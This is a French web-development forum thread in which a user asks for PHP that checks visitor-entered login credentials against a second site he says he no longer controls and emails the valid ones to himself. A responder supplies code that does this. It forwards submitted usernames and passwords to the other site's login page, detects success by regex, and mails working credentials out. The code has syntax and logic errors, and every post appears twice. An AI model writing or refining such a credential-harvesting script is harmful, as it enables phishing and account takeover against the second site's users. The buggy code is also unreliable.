Test de champs sur un site anexe
biznessman
Messages postés
5
Statut
Membre
-
Popoï_ Messages postés 179 Statut Membre -
Popoï_ Messages postés 179 Statut Membre -
Bonjour,
Il se trouve que je travail sur un site internet en Php/html depuis pas mal de temps déja et je n'arrive pas a faire une partie présise de mon site. Si vous le voulez bien j'aimerais que vous m'aidiez a produire le code de cette action particulière:
Mon site récupère des donnés de certain champs et me les envois par mail, je voudrais que, en plus de cela, il récupère ces données et remplisse avec celle ci les champs d'un second site.
Si les données sont invalides, sur le second site, il génère une page que j'aurais crée avec "données invalides" sur mon site et ne m'envoi pas les données par mail.
Si elles sont valide je voudrais enregistré ces données dans une base de données sur mon site et copier/coller du second site une information (apparu avec la validitée des champs) de "titre honorifique" apparant a associé au données receuilli dans ma bdd.
Et ceux bien séparé dans ma bdd par: "formulaire valide 1": "donée1":.... donné2:... "titre honorifique apparant1":...../ "formulaire valide 2"": "donée1":.... donné2:... "titre honorifique apparant2":...../ etc..
Merci beaucoup si vous arrivez a m'aider car je n'y arrive vraiment pas seul.
Il se trouve que je travail sur un site internet en Php/html depuis pas mal de temps déja et je n'arrive pas a faire une partie présise de mon site. Si vous le voulez bien j'aimerais que vous m'aidiez a produire le code de cette action particulière:
Mon site récupère des donnés de certain champs et me les envois par mail, je voudrais que, en plus de cela, il récupère ces données et remplisse avec celle ci les champs d'un second site.
Si les données sont invalides, sur le second site, il génère une page que j'aurais crée avec "données invalides" sur mon site et ne m'envoi pas les données par mail.
Si elles sont valide je voudrais enregistré ces données dans une base de données sur mon site et copier/coller du second site une information (apparu avec la validitée des champs) de "titre honorifique" apparant a associé au données receuilli dans ma bdd.
Et ceux bien séparé dans ma bdd par: "formulaire valide 1": "donée1":.... donné2:... "titre honorifique apparant1":...../ "formulaire valide 2"": "donée1":.... donné2:... "titre honorifique apparant2":...../ etc..
Merci beaucoup si vous arrivez a m'aider car je n'y arrive vraiment pas seul.
A voir également:
- Test de champs sur un site anexe
- Site de telechargement - Accueil - Outils
- Site x - Guide
- Steam deck oled test - Guide
- Test performance pc - Guide
- Test disque dur - Télécharger - Informations & Diagnostic
15 réponses
Est-ce que ce second site est à toi? C'est à dire est-ce que tu peux modifier la source de la seconde page, pour pouvoir arriver à ce que tu veux?
Les deux sites ne sont pas a moi, j'aide un ami. Le problème est que nous n'avons plus acces au second site...
Au point ou j'en suis je préfère encore ne pas retrouver l'acces au second site car le nouveau est quasiment reconstruit et j'y ai passé beaucoup de temps.
Y'a t-il un moyen de passer par decu ce problème pour produire le code dont j'ai besoins?
Au point ou j'en suis je préfère encore ne pas retrouver l'acces au second site car le nouveau est quasiment reconstruit et j'y ai passé beaucoup de temps.
Y'a t-il un moyen de passer par decu ce problème pour produire le code dont j'ai besoins?
Le seul truc que je vois, ça me paraît plus que barbare: c'est un massacre!!!
Tu envoies les données envoyées par l'utilisateur par methode GET ou POST
Tu vérifies le contenu des champs
Si le contenu des champs sont correct: tu envoies par mail avec la fonction php mail()
Puis c'est là qu'il y a le gros massacre: tu récupères le contenu de la source avec
file_get_contents()
Tu remplis les champs en écrivant "value = ' ' " dans le code source, aux endroits précis que tu retrouve avec des REGEX
Tu fais "echo" du nouveau code source
Mais sinon je ne pense pas que tu puisses remplir les champs d'un site que tu n'as pas... A part recréer une page à l'identique...
Tu envoies les données envoyées par l'utilisateur par methode GET ou POST
Tu vérifies le contenu des champs
Si le contenu des champs sont correct: tu envoies par mail avec la fonction php mail()
Puis c'est là qu'il y a le gros massacre: tu récupères le contenu de la source avec
file_get_contents()
Tu remplis les champs en écrivant "value = ' ' " dans le code source, aux endroits précis que tu retrouve avec des REGEX
Tu fais "echo" du nouveau code source
Mais sinon je ne pense pas que tu puisses remplir les champs d'un site que tu n'as pas... A part recréer une page à l'identique...
Merci pour ta réponse, je vais essayer.
Tu as une méthode pour le "titre honorifique" meme si je ne fait aucune bdd et que j'utilise seulement celle du second site?
Si je refait la page a l'identique je ne pourais pas accéder a mon ancienne bdd, non?
Et enfin, si tu as le temps (c'est juste pour faciliter mon master mid), présise moi un peu (en php) ce que tu me conseil de faire, j'ai essayer quelquechose de similaire mais comme ca n'as rien donné, ca devait etre mon code...
Tu as une méthode pour le "titre honorifique" meme si je ne fait aucune bdd et que j'utilise seulement celle du second site?
Si je refait la page a l'identique je ne pourais pas accéder a mon ancienne bdd, non?
Et enfin, si tu as le temps (c'est juste pour faciliter mon master mid), présise moi un peu (en php) ce que tu me conseil de faire, j'ai essayer quelquechose de similaire mais comme ca n'as rien donné, ca devait etre mon code...
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
Tu peux pas modifier un site que tu ne possède pas. Imagine un peu ce qu'on pourrait faire de "pas-gentil" si on pouvait faire ça?
Normalement si tu a le pass et le login pour accéder à ta bdd, rien ne t'en empêche avec du php
Je souligne le normalement puisqu'avec free, par exemple, seules les pages situés dans le serveur free qui contient la bdd peuvent accéder au serveur... Donc la question c'est de savoir si tu peux quand même y accéder depuis un serveur extérieur.
Tu veux faire un master mind en ligne, avec quelqu'un qui joue en même temps qu'un utilisateur ou un master mind d'un pauvre monsieur tout seul?
Si le joueur se la joue solo, autant le faire en javascript ou avec un applet java (mais là c'est déjà plus compliqué)
Normalement si tu a le pass et le login pour accéder à ta bdd, rien ne t'en empêche avec du php
Je souligne le normalement puisqu'avec free, par exemple, seules les pages situés dans le serveur free qui contient la bdd peuvent accéder au serveur... Donc la question c'est de savoir si tu peux quand même y accéder depuis un serveur extérieur.
Tu veux faire un master mind en ligne, avec quelqu'un qui joue en même temps qu'un utilisateur ou un master mind d'un pauvre monsieur tout seul?
Si le joueur se la joue solo, autant le faire en javascript ou avec un applet java (mais là c'est déjà plus compliqué)
Je dit master mind parceque je teste toute les combinaisons de code jusqu'a ce que ca marche, pas le jeu. Je ne veu pas modifier un site exterieur et non je n'ai pas acces a ma bdd.
Sinon, c'est les même questions que précédemment.
Sinon, c'est les même questions que précédemment.
T'es en train de me dire que tu veux inscrire des données dans une bdd dont tu n'as pas l'accès?
Personnellement, je vois pas de techniques qui soient pas du barbarisme... Sauf si tu demandes au webmaster de ce site là d'aménager son code pour que tu puisses faire ce que tu veux faire, par exemple il peut récupérer des valeurs de variables envoyées pas POST si elles existent puis de compléter ses champs avec.
Si tu peux pas lui demander ou si il veut pas: il reste selon moi que le mode barbarisme
Personnellement, je vois pas de techniques qui soient pas du barbarisme... Sauf si tu demandes au webmaster de ce site là d'aménager son code pour que tu puisses faire ce que tu veux faire, par exemple il peut récupérer des valeurs de variables envoyées pas POST si elles existent puis de compléter ses champs avec.
Si tu peux pas lui demander ou si il veut pas: il reste selon moi que le mode barbarisme
Le barbarisme minteresse mais ca n'a aucun rapport dans ce contexte. Je veu juste tester des indentifiants sur un second site dont je n'ai plus acces a la bdd et s'ils font parti de la bdd et donc sont valide, alors je veu que le premier site me les envoi par mail et les valide sur le premier site. Tout ceci en récupérant un "titre honorifique" assigné a ces identifiants pour le placer en haut de la page du premier site. rien de plus.
Pour tester si les identifiants sont valides sur un second site, il y a un moyen que je trouve pas très beau non plus
Tu regardes la source de la page du second site lorsque les identifiants sont bons, pour trouver un bout de code qui n'apparait pas dans la source de la page qui t'annonce que les identifiants sont mauvais.
Tu fais un code qui récupère le code source (j'adore ce genre de choses, tu me diras xP) de la page de vérification des identifiants pour laquelle tu as associé une entête http qui contient toutes tes variables par POST, et qui ont les mêmes noms que les variables du second site, pour pas qu'il y ait de problèmes chez eux...
Si ce code soucre contient le bout de code que tu as sélectionné (tu le vérifies grâce à une REGEX), alors c'est que les identifiants sont bons et tu fais tout le blablabla, fonction mail(), inscription des identifiants sur la bdd du premier site avec un champ qui contiendra "true", pour dire qu'il a bien répondu.
Ceci dit c'est plus propre que ce que tu voulais faire tout à l'heure...
Tu regardes la source de la page du second site lorsque les identifiants sont bons, pour trouver un bout de code qui n'apparait pas dans la source de la page qui t'annonce que les identifiants sont mauvais.
Tu fais un code qui récupère le code source (j'adore ce genre de choses, tu me diras xP) de la page de vérification des identifiants pour laquelle tu as associé une entête http qui contient toutes tes variables par POST, et qui ont les mêmes noms que les variables du second site, pour pas qu'il y ait de problèmes chez eux...
Si ce code soucre contient le bout de code que tu as sélectionné (tu le vérifies grâce à une REGEX), alors c'est que les identifiants sont bons et tu fais tout le blablabla, fonction mail(), inscription des identifiants sur la bdd du premier site avec un champ qui contiendra "true", pour dire qu'il a bien répondu.
Ceci dit c'est plus propre que ce que tu voulais faire tout à l'heure...
C'est parfait, mais clairement, si je le fait seul je vais bidouiller un truc foireux. Merci de proposer ta syntaxe, j'atend le code avec impatience:).
Merci
Merci
Voilà, j'ai du temps à consacrer!!!
je me suis inspiré de bouts de code que j'avais à droite à gauche...
donc le code est de ce genre:
<html>
<head>
</head>
<body>
<?php
if (isset($_POST['maVariable'])) {
if (isset($_POST['maSecondeVariable']) {
/*recommencer l'opération jusqu'à avoir vérifié toutes les variables*/
$donnees = array(
'link' => 'le lien de la page de vérification du second site',
'login' => $_POST['maVariable'] ,
'pass' => $_POST['maSecondeVariable'],
);
function http_build_headers( $headers ) {
$headers_brut = '';
foreach( $headers as $nom => $valeur ) {
$headers_brut .= $nom . ': ' . $valeur . "\r\n";
}
return $headers_brut;
}
$contenu = http_build_headers($donnees);
$entete = http_build_headers( array(
'Content-Type' => 'text/html',
'Content-Length' => strlen( $contenu) ) );
$options = array( 'http' => array( 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'method' => 'POST',
'content' => $contenu,
'header' => $headers ) );
$context = stream_context_create( $options );
$resultat = file_get_contents( 'URL de la page de vérification d'identifiants du second site', false, $context );
$check = preg_match('REGEX donnant le bout de code qui n'est présent dans la page QUE si les identifiants sont bons', $resultat);
if ($check) {
$mail = "Les identifiants donnés sont bons \n Identifiant: " . $_POST['maVariable'] . "\n Pass: " . $_POST['maSecondeVariable'];
mail('TonEmail@m&m's.fr', 'Il a donné les bons identifiants!!!!!', $mail);
echo "le bout de code contenant ton magnifique titre disant que tu as donné les bons identifiants!!! c'est super!!!";
}
else {"peut-être un bout de code disant que tu n'as pas donné les bons identifiants, je sais pas..."}
}
}
?>
tout le reste de ton code html
</body>
<html>
Donc ce qu'il te reste à faire c'est:
-trouver un bout de code qui n'est présent QUE dans la page web du second site qui dit que les identifiants sont bons, et en faire une REGEX...
-trouver les noms des variables (à regarder dans la source de la page contenant le formulaire du second site)
je me suis inspiré de bouts de code que j'avais à droite à gauche...
donc le code est de ce genre:
<html>
<head>
</head>
<body>
<?php
if (isset($_POST['maVariable'])) {
if (isset($_POST['maSecondeVariable']) {
/*recommencer l'opération jusqu'à avoir vérifié toutes les variables*/
$donnees = array(
'link' => 'le lien de la page de vérification du second site',
'login' => $_POST['maVariable'] ,
'pass' => $_POST['maSecondeVariable'],
);
function http_build_headers( $headers ) {
$headers_brut = '';
foreach( $headers as $nom => $valeur ) {
$headers_brut .= $nom . ': ' . $valeur . "\r\n";
}
return $headers_brut;
}
$contenu = http_build_headers($donnees);
$entete = http_build_headers( array(
'Content-Type' => 'text/html',
'Content-Length' => strlen( $contenu) ) );
$options = array( 'http' => array( 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'method' => 'POST',
'content' => $contenu,
'header' => $headers ) );
$context = stream_context_create( $options );
$resultat = file_get_contents( 'URL de la page de vérification d'identifiants du second site', false, $context );
$check = preg_match('REGEX donnant le bout de code qui n'est présent dans la page QUE si les identifiants sont bons', $resultat);
if ($check) {
$mail = "Les identifiants donnés sont bons \n Identifiant: " . $_POST['maVariable'] . "\n Pass: " . $_POST['maSecondeVariable'];
mail('TonEmail@m&m's.fr', 'Il a donné les bons identifiants!!!!!', $mail);
echo "le bout de code contenant ton magnifique titre disant que tu as donné les bons identifiants!!! c'est super!!!";
}
else {"peut-être un bout de code disant que tu n'as pas donné les bons identifiants, je sais pas..."}
}
}
?>
tout le reste de ton code html
</body>
<html>
Donc ce qu'il te reste à faire c'est:
-trouver un bout de code qui n'est présent QUE dans la page web du second site qui dit que les identifiants sont bons, et en faire une REGEX...
-trouver les noms des variables (à regarder dans la source de la page contenant le formulaire du second site)